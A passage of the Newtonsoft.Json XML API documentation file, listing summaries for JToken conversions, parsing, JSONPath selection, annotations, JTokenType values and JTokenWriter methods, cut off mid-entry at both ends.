name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Uri)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Uri\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.TimeSpan)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.TimeSpan\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.TimeSpan})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Guid)~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Guid\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Implicit(System.Nullable{System.Guid})~Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Performs an implicit conversion from <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"value\">The value to create a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> from.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> initialized with the specified value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.CreateReader\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.JsonReader\"/> for this token.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that can be used to read this token and its descendants.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.FromObject(System.Object)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the value of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.FromObject(System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from an object using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used when reading the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the value of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject``1\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The object type that the token will be deserialized to.</typeparam>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject(System.Type)\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"objectType\">The object type that the token will be deserialized to.</param>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject``1(Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <typeparam name=\"T\">The object type that the token will be deserialized to.</typeparam>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used when creating the object.</param>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToObject(System.Type,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates an instance of the specified .NET type from the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <param name=\"objectType\">The object type that the token will be deserialized to.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used when creating the object.</param>\n            <returns>The new object created from the JSON value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ReadFrom(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ReadFrom(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">An <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> populated from the string that contains JSON.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Parse(System.String,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> populated from the string that contains JSON.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectToken(System.String)\">\n            <summary>\n            Selects a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using a JSONPath expression. Selects the token that matches the object path.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, or <c>null</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectToken(System.String,System.Boolean)\">\n            <summary>\n            Selects a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using a JSONPath expression. Selects the token that matches the object path.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"errorWhenNoMatch\">A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectToken(System.String,Newtonsoft.Json.Linq.JsonSelectSettings)\">\n            <summary>\n            Selects a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using a JSONPath expression. Selects the token that matches the object path.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonSelectSettings\"/> used to select tokens.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectTokens(System.String)\">\n            <summary>\n            Selects a collection of elements using a JSONPath expression.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the selected elements.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectTokens(System.String,System.Boolean)\">\n            <summary>\n            Selects a collection of elements using a JSONPath expression.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"errorWhenNoMatch\">A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the selected elements.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectTokens(System.String,Newtonsoft.Json.Linq.JsonSelectSettings)\">\n            <summary>\n            Selects a collection of elements using a JSONPath expression.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonSelectSettings\"/> used to select tokens.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the selected elements.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.GetMetaObject(System.Linq.Expressions.Expression)\">\n            <summary>\n            Returns the <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> responsible for binding operations performed on this object.\n            </summary>\n            <param name=\"parameter\">The expression tree representation of the runtime value.</param>\n            <returns>\n            The <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> to bind this object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.System#Dynamic#IDynamicMetaObjectProvider#GetMetaObject(System.Linq.Expressions.Expression)\">\n            <summary>\n            Returns the <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> responsible for binding operations performed on this object.\n            </summary>\n            <param name=\"parameter\">The expression tree representation of the runtime value.</param>\n            <returns>\n            The <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> to bind this object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.DeepClone\">\n            <summary>\n            Creates a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>. All child tokens are recursively cloned.\n            </summary>\n            <returns>A new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AddAnnotation(System.Object)\">\n            <summary>\n            Adds an object to the annotation list of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"annotation\">The annotation to add.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotation``1\">\n            <summary>\n            Get the first annotation object of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the annotation to retrieve.</typeparam>\n            <returns>The first annotation object that matches the specified type, or <c>null</c> if no annotation is of the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotation(System.Type)\">\n            <summary>\n            Gets the first annotation object of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"type\">The <see cref=\"P:Newtonsoft.Json.Linq.JToken.Type\"/> of the annotation to retrieve.</param>\n            <returns>The first annotation object that matches the specified type, or <c>null</c> if no annotation is of the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotations``1\">\n            <summary>\n            Gets a collection of annotations of the specified type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the annotations to retrieve.</typeparam>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the annotations for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotations(System.Type)\">\n            <summary>\n            Gets a collection of annotations of the specified type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"type\">The <see cref=\"P:Newtonsoft.Json.Linq.JToken.Type\"/> of the annotations to retrieve.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:System.Object\"/> that contains the annotations that match the specified type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.RemoveAnnotations``1\">\n            <summary>\n            Removes the annotations of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of annotations to remove.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.RemoveAnnotations(System.Type)\">\n            <summary>\n            Removes the annotations of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"type\">The <see cref=\"P:Newtonsoft.Json.Linq.JToken.Type\"/> of annotations to remove.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenEqualityComparer\">\n            <summary>\n            Compares tokens to determine whether they are equal.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenEqualityComparer.Equals(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Determines whether the specified objects are equal.\n            </summary>\n            <param name=\"x\">The first object of type <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <param name=\"y\">The second object of type <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <returns>\n            <c>true</c> if the specified objects are equal; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenEqualityComparer.GetHashCode(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Returns a hash code for the specified object.\n            </summary>\n            <param name=\"obj\">The <see cref=\"T:System.Object\"/> for which a hash code is to be returned.</param>\n            <returns>A hash code for the specified object.</returns>\n            <exception cref=\"T:System.ArgumentNullException\">The type of <paramref name=\"obj\"/> is a reference type and <paramref name=\"obj\"/> is <c>null</c>.</exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenReader.CurrentToken\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> at the reader's current position.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenReader.#ctor(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenReader\"/> class.\n            </summary>\n            <param name=\"token\">The token to read from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenReader.#ctor(Newtonsoft.Json.Linq.JToken,System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenReader\"/> class.\n            </summary>\n            <param name=\"token\">The token to read from.</param>\n            <param name=\"initialPath\">The initial path of the token. It is prepended to the returned <see cref=\"P:Newtonsoft.Json.Linq.JTokenReader.Path\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenReader.Path\">\n            <summary>\n            Gets the path of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenType\">\n            <summary>\n            Specifies the type of token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.None\">\n            <summary>\n            No token type has been set.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Object\">\n            <summary>\n            A JSON object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Array\">\n            <summary>\n            A JSON array.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Constructor\">\n            <summary>\n            A JSON constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Property\">\n            <summary>\n            A JSON object property.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Comment\">\n            <summary>\n            A comment.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Integer\">\n            <summary>\n            An integer value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Float\">\n            <summary>\n            A float value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.String\">\n            <summary>\n            A string value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Boolean\">\n            <summary>\n            A boolean value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Null\">\n            <summary>\n            A null value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Undefined\">\n            <summary>\n            An undefined value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Date\">\n            <summary>\n            A date value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Raw\">\n            <summary>\n            A raw JSON value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Bytes\">\n            <summary>\n            A collection of bytes value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Guid\">\n            <summary>\n            A Guid value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Uri\">\n            <summary>\n            A Uri value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.TimeSpan\">\n            <summary>\n            A TimeSpan value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenWriter.CurrentToken\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> at the writer's current position.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenWriter.Token\">\n            <summary>\n            Gets the token being written.\n            </summary>\n            <value>The token being written.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.#ctor(Newtonsoft.Json.Linq.JContainer)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenWriter\"/> class writing to the given <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.\n            </summary>\n            <param name=\"container\">The container being written to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenWriter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the underlying <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n            <remarks>\n            Setting <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> to <c>true</c> has no additional effect, since the underlying <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/> is a type that cannot be closed.\n            </remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the end.\n            </summary>\n            <param name=\"token\">The token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will be raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see 